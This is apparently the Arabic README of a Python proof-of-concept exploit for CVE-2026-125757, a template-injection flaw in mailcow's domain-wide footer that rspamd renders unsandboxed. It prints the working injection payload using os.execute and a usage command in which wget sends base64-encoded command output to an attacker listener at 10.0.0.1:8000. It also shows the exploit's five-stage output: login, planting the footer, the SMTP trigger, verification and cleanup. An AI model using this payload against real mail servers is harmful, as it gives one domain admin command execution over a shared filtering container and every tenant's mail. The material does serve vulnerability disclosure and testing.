
أداة إثبات مفهوم بلغة Python للثغرة CVE-2026-125757: تستغل ثغرة SSTI في تذييل النطاق بالكامل في mailcow ضمن محرك jinja/lupa في rspamd لتحقيق تنفيذ تعليمات برمجية عن بُعد (RCE) أعمى عبر المستأجرين من خلال SMTP الموثّق.
يمكن لمسؤول نطاق تخزين تذييل على مستوى النطاق يُحفظ HTML الخاص به حرفيًا ثم يُعرض لاحقًا بواسطة
محرك jinja/lupa في rspamd عند إرسال الرسالة الصادرة الموثّقة التالية للنطاق. يتم تجميع القيمة الافتراضية
لماكرو jinja في التذييل بواسطة lupa باستخدام load('return '..default) دون بيئة العزل (sandbox)،
لذلك يعمل ضمن متغيرات LuaJIT الحقيقية في rspamd حيث يكون os.execute متاحًا — أي تنفيذ أوامر عشوائية،
وليس مجرد توسيع نصوص. rspamd حاوية واحدة مشتركة بين جميع المستأجرين، لذا يصل مسؤول نطاق واحد إلى بريد
جميع المستأجرين أثناء النقل وإلى منصة الفلترة بأكملها.
| المتأثر | mailcow/mailcow-dockerized < 2026-11 (master @ 55982ac74bfd35581cc44b122ab5fc659e3ae90a; rspamd 4.2.1-1) |
| المُصلَح | >= 2026-11 (يُعرض التذييل باستبدال المتغيرات فقط، دون صياغة تحكم في القوالب) |
| المتطلبات المسبقة | مسؤول نطاق لنطاق واحد على الأقل، يعمل ضمن جلسته الموثّقة الخاصة؛ رسالة صادرة موثّقة واحدة للتفعيل. لا حاجة لمسؤول عام أو وصول إلى المضيف أو موقع شبكي |
| التأثير | تنفيذ أوامر عن بُعد في حاوية rspamd المشتركة ← قراءة/تعديل/حقن بريد كل مستأجر، تعطيل فلترة البريد المزعج/مكافحة الفيروسات على مستوى المنصة، الوصول إلى redis الخاص بـ rspamd؛ حجب الخدمة عبر الحاويات (cross-container DoS) عبر MC_CHANNEL. |
| الخطورة | CVSS 3.1 = 9.1 (حرجة) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |
| CWE | CWE-1336 |
يُخزَّن التذييل حرفيًا خلف بوابة واحدة لنطاق المستأجر ويُغذَّى، دون تعديل، إلى محرك قوالب:
// src/data/web/inc/functions.mailbox.inc.php — case 'domain_wide_footer'
$footer_html = $attr['html']; // :4187 stored verbatim, no template sanitisation
... hasDomainAccess($_SESSION['...'], $domain) ... // :4251 only gate (tenant scope)
INSERT INTO domain_footer (html, plain, ...) ... // :4263
// reached unauthenticated-to-the-sink via: POST /api/v1/edit/domain/footer
-- src/data/conf/rspamd/rspamd.local.lua — MOO_FOOTER prefilter renders the stored footer
lua_util.jinja_template(footer.html, ...) -- :847 (and footer.plain :850) [feed: dynmaps/footer.php]
-- contrib/lua-lupa/lupa.lua — a macro default value is compiled OUTSIDE the sandbox env
load('return ' .. default) -- :487 -> runs in real _G; os.execute reachable
-- :554 {% filter %} params share the same path
لذلك فإن تذييلًا بالصيغة {% macro p(a=os.execute("<cmd>")) %}{% endmacro %}footer ينفّذ <cmd>
داخل حاوية rspamd عندما يعرضه MOO_FOOTER. يُعرض التذييل لكل من جزء HTML والجزء النصي، لذا يُنفَّذ
الأمر عند كل رسالة صادرة موثّقة للنطاق.
يقوم CVE-2026-125757.py (المكتبة القياسية فقط، Python 3.8+) بتتبع السلسلة الكاملة ويطبع كل مرحلة — تسجيل الدخول ← إنشاء
صندوق بريد مؤقت ← زرع حمولة التذييل ← التفعيل عبر SMTP ← التحقق ← التنظيف. يُنفَّذ الأمر بشكل أعمى
(لا يُعاد أي stdout عبر SMTP)، لذا وجّه --cmd إلى مستمع خارج النطاق تتحكم به.
# on your host, start a listener first: python3 -m http.server 8000
# blind RCE, confirmed by the callback (base64 so `id` output survives the URL path):
python3 CVE-2026-125757.py --url https://mail.example --username da_a --password 'PW' \
--domain tenanta.test --cmd 'wget -qO- http://10.0.0.1:8000/$( id | base64 -w0 )'
المخرجات المتوقعة:
[1/5] login as domain admin 'da_a' ............. ok
[2/5] create throwaway mailbox ................. ok ([email protected])
[3/5] plant SSTI footer payload ................ ok
[4/5] trigger: send authenticated mail (SMTP 587) ... ok (4.2s)
[5/5] verify execution ......................... ok
[+] PAYLOAD DELIVERED: footer rendered, os.execute('wget ...') ran in rspamd
Blind RCE (no stdout over SMTP) - confirm on your out-of-band listener
[*] cleanup: reset footer ...................... ok
[*] cleanup: delete mailbox .................... ok ([email protected])